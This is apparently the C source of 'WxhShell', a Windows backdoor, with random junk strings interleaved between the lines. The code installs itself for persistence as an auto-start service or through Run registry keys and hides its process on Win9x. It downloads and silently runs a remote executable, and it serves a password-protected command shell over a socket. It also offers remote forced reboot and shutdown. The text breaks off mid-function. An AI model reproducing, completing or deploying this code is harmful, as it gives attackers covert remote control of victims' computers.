{N g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^"K NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yAR''> 0}hN/2}& if (!NtQueryInformationProcess) return 0; fm87?RgXD ?/)Mt(p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :h0as!2@dp if(!hProcess) return 0; v>.nL(VLjP cEi{+rfZd| if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |gx{un` l/[@1(F CloseHandle(hProcess); JT&CJ&#[h :1eI"])( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6#6Ve$Vl] if(hProcess==NULL) return 0; O\pqZ`E=s kmNY
;b6Y$ HMODULE hMod; 3lhXD_Y char procName[255]; xeo;4c#S5 unsigned long cbNeeded; A2qus$ \bqNjlu if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4z Af|Je uNl<=1 CloseHandle(hProcess); :Y(Yk5 ~el#pf~ if(strstr(procName,"services")) return 1; // 以服务启动 wKe^5|Rr j[m\;3Sp return 0; // 注册表启动 !tv3.:eT } <<LmO-92 n_AW0i. // 主模块 Y1+4ppZ int StartWxhshell(LPSTR lpCmdLine) ygS*))7
r { $$<9tqA SOCKET wsl; SG
|!wH^ BOOL val=TRUE; ,ZV<o!\ int port=0; _s (0P* struct sockaddr_in door; : RnjcnR KMhoG.$Ra if(wscfg.ws_autoins) Install(); aoz+g,1
// ~ YO') port=atoi(lpCmdLine); "v/^nH rIo`n2 if(port<=0) port=wscfg.ws_port; \% !]qv u9"b,].b WSADATA data; Usk@{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q`E6hm 0aSN8 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )NRY9\H setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); djqSW9 door.sin_family = AF_INET; c%>t(ce`Tl door.sin_addr.s_addr = inet_addr("127.0.0.1"); heZJ(mR door.sin_port = htons(port); KCq qwGM Lg|j0-"N if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7 ;|jq39 closesocket(wsl); N'Ywn}!js return 1; F0o7XUt } MG[?C2KA/ g10$pf+L if(listen(wsl,2) == INVALID_SOCKET) { 99G/(Z} closesocket(wsl); Df||#u=n return 1; bPC {4l } [{6]i J Wxhshell(wsl); \r^=W= WSACleanup(); Sq %BfP)a( 35) ]R`f return 0; dwv xV$Nt #p&iH9c_ } u3Z*hs)Z% 6vro:`R ? // 以NT服务方式启动 ruS/Yh VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k )Z? { .sAcnf" DWORD status = 0; qnyFRPC DWORD specificError = 0xfffffff; Se*ZQtwE pwT|T;j* serviceStatus.dwServiceType = SERVICE_WIN32; >wej1#\3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; kGc;j8>." serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K_ Y0;!W serviceStatus.dwWin32ExitCode = 0; 2U2=ja9:Y serviceStatus.dwServiceSpecificExitCode = 0; '|':W6m, serviceStatus.dwCheckPoint = 0; YTL [z:k} serviceStatus.dwWaitHint = 0; I"#jSazk [X#bDO<t hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yC
=5/wy` if (hServiceStatusHandle==0) return; ]?#f=/ YUfuS3sX} status = GetLastError(); ,(N&% if (status!=NO_ERROR) (03m%\ { eqD%Qdx serviceStatus.dwCurrentState = SERVICE_STOPPED; bd_U%0)pi1 serviceStatus.dwCheckPoint = 0; :(} {uG serviceStatus.dwWaitHint = 0; }di)4=U9 serviceStatus.dwWin32ExitCode = status; QKCc5 serviceStatus.dwServiceSpecificExitCode = specificError; u Y V= SetServiceStatus(hServiceStatusHandle, &serviceStatus); j,/OzVm9 return; w:r0> } SLSJn))@! L q'*B9 serviceStatus.dwCurrentState = SERVICE_RUNNING; ?#ndMv!$ serviceStatus.dwCheckPoint = 0; ZL #4X*zT serviceStatus.dwWaitHint = 0; \ s`'3y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G2ZF`WQ } %N|7<n<S ~)tIO<$U // 处理NT服务事件,比如:启动、停止 Pw1V1v&>q VOID WINAPI NTServiceHandler(DWORD fdwControl) $ n`<,;^l { #lM!s switch(fdwControl) DvF`KHsy { .r[DqC case SERVICE_CONTROL_STOP: szF[LRb serviceStatus.dwWin32ExitCode = 0; %.pX!jL serviceStatus.dwCurrentState = SERVICE_STOPPED; (=CV")tF serviceStatus.dwCheckPoint = 0; j1v fp"J1 serviceStatus.dwWaitHint = 0; k
<A>J-| { 7Nh6 ` SetServiceStatus(hServiceStatusHandle, &serviceStatus); _I<eJ\ } 3xsC"c> return; lD6hL8[ case SERVICE_CONTROL_PAUSE: `R!0uRu serviceStatus.dwCurrentState = SERVICE_PAUSED; ,'= Y break; sw' 20I case SERVICE_CONTROL_CONTINUE: R/~j <.s3P serviceStatus.dwCurrentState = SERVICE_RUNNING; I/|)? break; !R//"{k0? case SERVICE_CONTROL_INTERROGATE: HO41)m+& break; p"Oi83w;9 }; "@
Zy+zLU SetServiceStatus(hServiceStatusHandle, &serviceStatus); C;oP"K]4= } _;yp^^S ~uq J@#o{ // 标准应用程序主函数 8{6KWqG\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *P$5k1 { K~+y<z E -/~^S] // 获取操作系统版本 3_J9SwtN OsIsNt=GetOsVer(); |5V#&e\ES GetModuleFileName(NULL,ExeFile,MAX_PATH); +"?K00*( jsf=S{^2 // 从命令行安装 O#H `/z if(strpbrk(lpCmdLine,"iI")) Install(); YCeE?S1gk3 ZJP.-` U // 下载执行文件 A_{QY&%m if(wscfg.ws_downexe) { gA2Il8K if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .7g^w+W WinExec(wscfg.ws_filenam,SW_HIDE); j Z3N+_J1 } v8y77: @H@&B`K d if(!OsIsNt) { ?fnJ`^|-r // 如果时win9x,隐藏进程并且设置为注册表启动 k>K23(X HideProc(); b^y#.V.|k StartWxhshell(lpCmdLine); HOsq _)K } lc>nUhj. else 67 }y/C]< if(StartFromService()) AQbbIngo // 以服务方式启动 [\V]tpl! StartServiceCtrlDispatcher(DispatchTable); .J%}ROm else Zr;.`(> // 普通方式启动 NqkRR$O StartWxhshell(lpCmdLine); ?qHW"0Tjn gD _tBv return 0; :&2RV_$>= } .o:Pe2C QP7EP aW s8WA@)L rP2^D[uM. =========================================== MGX,JW>L (+@3Dr5o0} UrH^T;# *B)>5r &%fy kR-N9|>i " WyA>OB<Zeq mf,mKgfG #include <stdio.h> X~ P0Q #include <string.h> [k@D}p
x #include <windows.h> @gE
+T37x2 #include <winsock2.h> ok-sm~ bp #include <winsvc.h> n4> #include <urlmon.h> >`5iq.v 17$JBQ,[ #pragma comment (lib, "Ws2_32.lib") +_Fsiu_b #pragma comment (lib, "urlmon.lib") 5|r3i \ 8$v17 3 #define MAX_USER 100 // 最大客户端连接数 P;MS%32 #define BUF_SOCK 200 // sock buffer 9D(M>'Bh #define KEY_BUFF 255 // 输入 buffer L;,Nh q0`Vw% #define REBOOT 0 // 重启 q_OIzZ@ #define SHUTDOWN 1 // 关机 %Q1v8l.} R@=ve
%a- #define DEF_PORT 5000 // 监听端口 Rk"VFe>r ]B3 0d #define REG_LEN 16 // 注册表键长度 MO9}Itg #define SVC_LEN 80 // NT服务名长度 xPQO}wKa 0Ny0#;P
// 从dll定义API ;?=nr 5;q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KT{<iz_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RNRMw;cT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }s}b]v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lt@4F ]=WJ%p1l // wxhshell配置信息 KKGAk\X struct WSCFG { YDi_Gl$ int ws_port; // 监听端口 WYRTt2(+% char ws_passstr[REG_LEN]; // 口令 `Wn0v2@a(~ int ws_autoins; // 安装标记, 1=yes 0=no
PLFM[t/ char ws_regname[REG_LEN]; // 注册表键名 q&jZmr char ws_svcname[REG_LEN]; // 服务名 [53@'@26 char ws_svcdisp[SVC_LEN]; // 服务显示名 K?-K<3]9f char ws_svcdesc[SVC_LEN]; // 服务描述信息 45/f}kvy char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c*~/[:} int ws_downexe; // 下载执行标记, 1=yes 0=no qAR~js`5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eU@yw1N char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U6jlv3 -CtA\<7I }; BB--UM{7 %lv2 ;- // default Wxhshell configuration JF: QQ\ struct WSCFG wscfg={DEF_PORT, cp0>Euco= "xuhuanlingzhe", 8Dhq_R'r 1, eJ'2CM6 "Wxhshell", x"8(j8e "Wxhshell", mC>7l7% "WxhShell Service", 7Ar4:iNvX "Wrsky Windows CmdShell Service", *:
e^yi "Please Input Your Password: ", |oSyyDYWP
1, eK/[jxNO "http://www.wrsky.com/wxhshell.exe",
U QXT&w "Wxhshell.exe" .X_k[l 9 }; .g(yTA e<~uU9
lg1 // 消息定义模块 FxM`$n~K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HY5g>wv@ char *msg_ws_prompt="\n\r? for help\n\r#>"; (}4tj4d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \dIIZSN char *msg_ws_ext="\n\rExit."; "h$A. S char *msg_ws_end="\n\rQuit."; Bq79Ev
.- char *msg_ws_boot="\n\rReboot..."; ptb t char *msg_ws_poff="\n\rShutdown..."; mEz&:A char *msg_ws_down="\n\rSave to "; j,6dGb q$:T<mFK$ char *msg_ws_err="\n\rErr!"; nHD4J;l char *msg_ws_ok="\n\rOK!"; F3H)B: W>wE8? _, char ExeFile[MAX_PATH]; 6/nhz6= int nUser = 0; <G 2;nvRr HANDLE handles[MAX_USER]; 3t68cdFlz int OsIsNt; 2~R"3c+^ `u %//m_( SERVICE_STATUS serviceStatus; !fzqpl\ze SERVICE_STATUS_HANDLE hServiceStatusHandle; R/ l1$} ouVR[w>V // 函数声明 xzW]D0o0 int Install(void); ^uIZs}=+ int Uninstall(void); wbd>By(T1 int DownloadFile(char *sURL, SOCKET wsh); {-Yp~HQF int Boot(int flag); O:xRUjpL void HideProc(void); HxU.kcf int GetOsVer(void); sb4r\[? int Wxhshell(SOCKET wsl); !rTh+F* void TalkWithClient(void *cs); $Jb+}mlT int CmdShell(SOCKET sock); W zy8 int StartFromService(void); NkNw9?:#4 int StartWxhshell(LPSTR lpCmdLine); bi#o1jR `@?l{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ln9MVF'!& VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^Bm9yR ^tc@bsUF // 数据结构和表定义 {r[*}Bv
SERVICE_TABLE_ENTRY DispatchTable[] = WZ6!VE{ { g B+cU {wscfg.ws_svcname, NTServiceMain}, 8*>6+"w {NULL, NULL} RUX!(Xw }; h!yF qO&:J\d // 自我安装 e3)rF5pp int Install(void) C*kZ>mbc { W`6nMFg char svExeFile[MAX_PATH]; 78dmXOZ'_h HKEY key; .Pxb9mW strcpy(svExeFile,ExeFile);
EvTdwX.H e/#4)@] // 如果是win9x系统,修改注册表设为自启动 JS({au if(!OsIsNt) { WQiEQ>6(t( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .LnXKRd{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *% Vd2jW/ RegCloseKey(key); &Vnet7LfU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @iC!Q>D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J>!p^|S{ RegCloseKey(key); )bi*y`UM] return 0; @hl5^d"l } VI" ,E} } =2J+}ac } 7lR(6ka&/ else { P1Re7/ 47`{ e_YP0 // 如果是NT以上系统,安装为系统服务 t!D=oBCro SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fm&l0 if (schSCManager!=0) [#3:CDT { HmbTV(lC SC_HANDLE schService = CreateService .Zf#L'Rf ( 8Nc i1o schSCManager, ` mALx! ` wscfg.ws_svcname, w
V27 wscfg.ws_svcdisp, wqA5GK>m2 SERVICE_ALL_ACCESS, )ckx&e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &[R&@l Y SERVICE_AUTO_START, (5_o H SERVICE_ERROR_NORMAL, YA{Kgc^ svExeFile, [OH>NpL NULL, T_v NULL, ou,W|<% NULL, nHyWb6 NULL, wnt^WW=a[ NULL ]y.,J ); EU>@k{Qt if (schService!=0) -_>c P { 7-W(gD!` CloseServiceHandle(schService);
w>/KQ> \" CloseServiceHandle(schSCManager); >[ lj8n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j1**Ch/ strcat(svExeFile,wscfg.ws_svcname); 8V=I[UF.1? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E<-}Jc1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4zJ9bF4 RegCloseKey(key); "/ @
;6 return 0; KC q3S
} /xrt,M@ } nfRo:@ CloseServiceHandle(schSCManager); D!qtb6<. } n$#^gzU4 } ^C<dr}8 h>bmHQ return 1; 5'+g'9 } Og30&a!~F =jg!@H=_i // 自我卸载 Y*wbFL6` int Uninstall(void) i,;Q { }Z0)FU+ HKEY key; -cY/M~ 0A5xG& if(!OsIsNt) { {D`F$=Dlw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'DntZK RegDeleteValue(key,wscfg.ws_regname); 0vQkm< RegCloseKey(key); "]zq<LmX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @OwU[\6fc} RegDeleteValue(key,wscfg.ws_regname); >6jyd{ RegCloseKey(key); 2HQHC] return 0; [>C^ 0\Z~ } ag|d_; } V!]e#QH; } ks(PH6:]< else { pSV
8! z81I2?v[Jr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BtU,1`El5 if (schSCManager!=0) El"XF?OgpP { DU}q4u@) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M7jDV|Go if (schService!=0) R8":1 #& { c!w4N5aM if(DeleteService(schService)!=0) { !ZSC" CloseServiceHandle(schService); ~a/yLI"'g CloseServiceHandle(schSCManager); !B-&I E? return 0; `DWzp5Ax } P d*}0a~ CloseServiceHandle(schService); bs_I{bCu? } Hb!Q}V+Kb8 CloseServiceHandle(schSCManager); 2uiiTg> } xu&
v(C9 } J8/>b{Y H(?z?2b p return 1; u@==Ut } !aLByMA \ZCc~muR // 从指定url下载文件 )o9CFhFB int DownloadFile(char *sURL, SOCKET wsh) /SN.M6~ { i$%;z~#wW HRESULT hr; 63:ZDQ char seps[]= "/"; S&.DpsK char *token; QI`Z[caF char *file; XUW~8P char myURL[MAX_PATH]; n6|}^O7 char myFILE[MAX_PATH]; r}*2~;:pW 9H.E15B strcpy(myURL,sURL); u7a4taM$d token=strtok(myURL,seps); 9%\q* while(token!=NULL) 9dKrE_zK: { C_'Ug file=token; V4VTP]'n token=strtok(NULL,seps); $XT&8%|*7 } Vfc9+T+ W-Hw%bwN/q GetCurrentDirectory(MAX_PATH,myFILE); S1`+r0Fk~n strcat(myFILE, "\\"); o^DiIoor strcat(myFILE, file); Zu~ #d)l3N send(wsh,myFILE,strlen(myFILE),0); U
R@'J@V#: send(wsh,"...",3,0); (qB$I\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); go{'mX) }u if(hr==S_OK) =(Gv_ return 0; '<1T>|`/t else 3+n&Ya1 return 1; yKfRwO[j ;=UrIA@y;= } W P.6ea7k 4(B,aU>y // 系统电源模块 zFQxW4G int Boot(int flag) 6PJ0iten { Fnll&TF HANDLE hToken; .bnoK TOKEN_PRIVILEGES tkp; CXA)Zl5# fyQAQZT if(OsIsNt) { UN,@K9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !7 *X{D v LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4fpz;2% tkp.PrivilegeCount = 1; B.&q]CAv- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `<\AnhNW]I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0>E` 9| if(flag==REBOOT) { _CI! 7% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OBb return 0; ,h> 0k`J:a } Kr]F+erJe else { U_M > Q_r( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $C^94$W return 0; S=M$g#X`5 } JNX7]j\ } "v^Q
! else { 8 kd if(flag==REBOOT) { Pf@8C{I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k[G? 22t return 0; Cww$ A %} } _W?}%; else { ze,HNFg@> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,|T
return 0; s(wbsRVP8 } t;y>q } wl5!f| t^u X9yvx return 1; 7,Z%rqf\) } G}f.fRY M;3uG/E\ // win9x进程隐藏模块 O'$:wc# void HideProc(void) pD`7N<F 3 { Ng+k{vAj v*]|1q%/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5=Gq
d4&* if ( hKernel != NULL ) =@{H7z(p& { =
#ocp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8 +uOYNXsA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *^" 4 ) FreeLibrary(hKernel); fn;7Nf7{ } pBmacFP Mb?6c y[ return; bk#u0N } gpE5ua& ot-!_w< // 获取操作系统版本 $IB@|n int GetOsVer(void) VA2%2g2n{ { xE4T\%-K OSVERSIONINFO winfo; g-')|0py winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {-<h5_h@ GetVersionEx(&winfo); 2eb
:(D7Cq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {kW!|h&' return 1; rj<%_d'Z` else 0)9GkHVu( return 0; ~v+&
?dg } Cw Z{& ;:"~utL7 // 客户端句柄模块 ,:;nq> ; int Wxhshell(SOCKET wsl) u4+)lvt { _!w# {5~ SOCKET wsh; Ak>RLD25_ struct sockaddr_in client; =X-$kk DWORD myID; :
<m0
GG 1Pn!{ bU3@ while(nUser<MAX_USER) i3#]_ p{ { yUNl)E int nSize=sizeof(client); vxbO>c wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V-J\!CHX if(wsh==INVALID_SOCKET) return 1; B.{0,bW?
|{ *ce<ip5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }$g5:k! if(handles[nUser]==0) ?^,GaZ^V closesocket(wsh); <}i\fJX6 else 80:na7$)# nUser++; [f-
#pew } Cn+TcdHX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c;(}Ih(# ;k!Ej-( return 0; qYbod+UX } ^#gGA_H c5O1h8 // 关闭 socket NIV&)`w void CloseIt(SOCKET wsh) 4my8 p Fk
{ FC vR closesocket(wsh); Ur5X~a\y nUser--; J,P7k$t2vv ExitThread(0); (K0FWTmm } :/
"qNPJ ,uDB] // 客户端请求句柄 64>Zr void TalkWithClient(void *cs) tJ'U<s { .@ 1\26< )c+ZQq SOCKET wsh=(SOCKET)cs; nFxogCn char pwd[SVC_LEN]; t%N#Yh! char cmd[KEY_BUFF]; o.y4&bC14; char chr[1]; F+c*v#T int i,j;
) VJ| {e>}.R while (nUser < MAX_USER) { 5UjXpS {^$rmwN if(wscfg.ws_passstr) { {?eD7xL:- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `q4\w[0+p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lo9+#ITyx //ZeroMemory(pwd,KEY_BUFF); ^Z\1z!{R i=0; kdgQ -UN$ while(i<SVC_LEN) { 3#5sj > lC^q}Bh: // 设置超时 #!Kg?BR2 fd_set FdRead; b"{7f struct timeval TimeOut; 1gCp/m2r7 FD_ZERO(&FdRead); ^\Jg
{9a FD_SET(wsh,&FdRead); qRB&R$ TimeOut.tv_sec=8; vgsu~(L; TimeOut.tv_usec=0; H-0deJ[> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zXp{9P\c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dHd{9ftyF cl14FrpYu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ><^A4s pwd=chr[0]; ]$KH78MTW if(chr[0]==0xd || chr[0]==0xa) { )mp0k% pwd=0; }2JSa8 break; NeeymyW } zBqr15 i++; %qN8uQx } /m9t2,KB :t9(T?2 // 如果是非法用户,关闭 socket .6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,!bOzth2>K } iTxn =:9n+7~$
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;jI\MZ~l\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G}] ZZ 2t#9ih"9 while(1) { kA\;h|Y3 qH"0?<$9 ZeroMemory(cmd,KEY_BUFF); Ntg#-_] 0^{zq|%Q! // 自动支持客户端 telnet标准 */?L_\7 j=0; b!_l(2 while(j<KEY_BUFF) { d p_J*8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oLB pG1Va cmd[j]=chr[0]; WMl_$Fd6 if(chr[0]==0xa || chr[0]==0xd) { $c f?`k cmd[j]=0; hq\KSFP break; x"_f$,:! } |
M-@Qvgh j++; /`2VJw } %xWmzdn vT3LhN+1 // 下载文件 [yjC@docH if(strstr(cmd,"http://")) { iY.~N#Q send(wsh,msg_ws_down,strlen(msg_ws_down),0); `M"b L|[R if(DownloadFile(cmd,wsh)) "eGS~-DVK send(wsh,msg_ws_err,strlen(msg_ws_err),0); p72+:I else E/AM<eN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }{E//o:Ta } pmHd1 Wub else { nef-xxXC^I uCmdNY switch(cmd[0]) { 7|65;jm+ lm-ubzJN // 帮助 v
mw7H case '?': { r|0C G^:C send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Re,0RM\ break; ^!Bpev } ,gD30Pylz // 安装 mX,#|qLf case 'i': { eYR/kZ%< if(Install()) C:gE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1&wZJP= else t41\nTZr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ki}Uw# break; G|Q}.v } ux{OgFfi // 卸载 ?55('+{l case 'r': { PS \QbA
if(Uninstall()) EA?:GtH send(wsh,msg_ws_err,strlen(msg_ws_err),0); qWQJ> else xZ4\.K\f] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >+1^X eeS break; tk_y~-xz } >o'D/'>ku // 显示 wxhshell 所在路径 9H P)@66 case 'p': { Oi
l>bv8 char svExeFile[MAX_PATH]; s?OGB} strcpy(svExeFile,"\n\r"); Uf_w
o strcat(svExeFile,ExeFile); &QCqaJ- send(wsh,svExeFile,strlen(svExeFile),0); V 9=y@`; break; w&f29#i;b } unjo& // 重启 *7!}[ v_ case 'b': { NW!e@;E+i send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Km\M/j| if(Boot(REBOOT)) !M3IuDN send(wsh,msg_ws_err,strlen(msg_ws_err),0); :!{aey else { uiHlaMf closesocket(wsh); ]1D>3 ExitThread(0); XXe7w3x{ } S7N54X2JwL break; @,zBZNX
y } $o]suF;3 // 关机 EXb{/4 case 'd': { %y8w9aGt send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); azOp53zR if(Boot(SHUTDOWN)) YXD1B`23 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eb{TKz? else { SOP=
X-6f closesocket(wsh); }3)$aI_ ExitThread(0);
KJ'MK~g } HJ_xg6.x break; ?A2EuvQH] } =X% D;2 // 获取shell ;Oe6SNquT case 's': { hM>xe8yE CmdShell(wsh); vuw1ycy) closesocket(wsh); ?\^u},HnE| ExitThread(0); |vEfE{ break; n7{1m$/ } G?jY>;P) // 退出 FVF:1DT case 'x': { 6p1TI1( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fI"`[cA"] CloseIt(wsh); V|b?H6Q break; \a|gzC1G } 2.; OHQTE // 离开 ZO0_:T#Z case 'q': { M~
*E! send(wsh,msg_ws_end,strlen(msg_ws_end),0); hoU&'P8 closesocket(wsh); 94K;=5h WSACleanup(); (y(V,kXwa8 exit(1); #Oe=G:+A break; QW~o+N~~ } N#ex2c } EH4WR/x } :_^9.` %J+$p\c // 提示信息 3zh'5qQ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hi.{ } ;B1}so1] } C ,fIwqOr3 M_*w)< return; 39k
P)cD } nz>A\H $dwv1@M2 // shell模块句柄 =]7 \-- int CmdShell(SOCKET sock) L6Ynid.k { 9)f1CC] STARTUPINFO si; ?w<x_Lo ZeroMemory(&si,sizeof(si)); S!.xmc\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m=y6E,
_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;>Z#1~8 PROCESS_INFORMATION ProcessInfo; QjZ}*p char cmdline[]="cmd"; #!,xjd CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,pAMQ5 return 0; XP{ nf9& } ;gW~+hW ^ ;7 IVg[f // 自身启动模式 <v5toyA int StartFromService(void) EH,uX{`e { /~AwX8X typedef struct (&
~`!] { ^g~-$ t<! DWORD ExitStatus; );,#H`' DWORD PebBaseAddress; y`(z_5ClT DWORD AffinityMask; *w@>zkBl DWORD BasePriority; E]ZM`bex& ULONG UniqueProcessId; G& |